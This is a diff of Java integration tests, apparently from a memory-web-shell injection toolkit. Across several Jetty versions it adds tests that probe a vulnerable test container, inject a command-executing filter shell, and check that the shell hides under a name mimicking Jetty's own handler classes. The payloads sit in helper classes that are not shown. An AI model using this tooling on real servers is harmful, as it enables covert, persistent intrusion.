import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -69,4 +76,24 @@ public class Jetty75ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -69,4 +76,24 @@ public class Jetty76ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -69,4 +76,24 @@ public class Jetty81ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -70,4 +77,24 @@ public class Jetty92ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -69,4 +76,24 @@ public class Jetty93ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }
@@ -4,6 +4,9 @@ import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool; import com.reajason.javaweb.integration.probe.DetectionTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
@@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.util.List;
import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.CoreMatchers.*;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
/** /**
@@ -69,4 +76,24 @@ public class Jetty94ContainerTest {
String url = getUrl(container); String url = getUrl(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8);
} }
@Test
void testFilterProbe() {
String url = getUrl(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
System.out.println(data);
assertThat(data, anyOf(
containsString("Context: ")
));
}
@Test
void testFilterFirstInject() {
String url = getUrl(container);
shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe());
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers")));
}
} }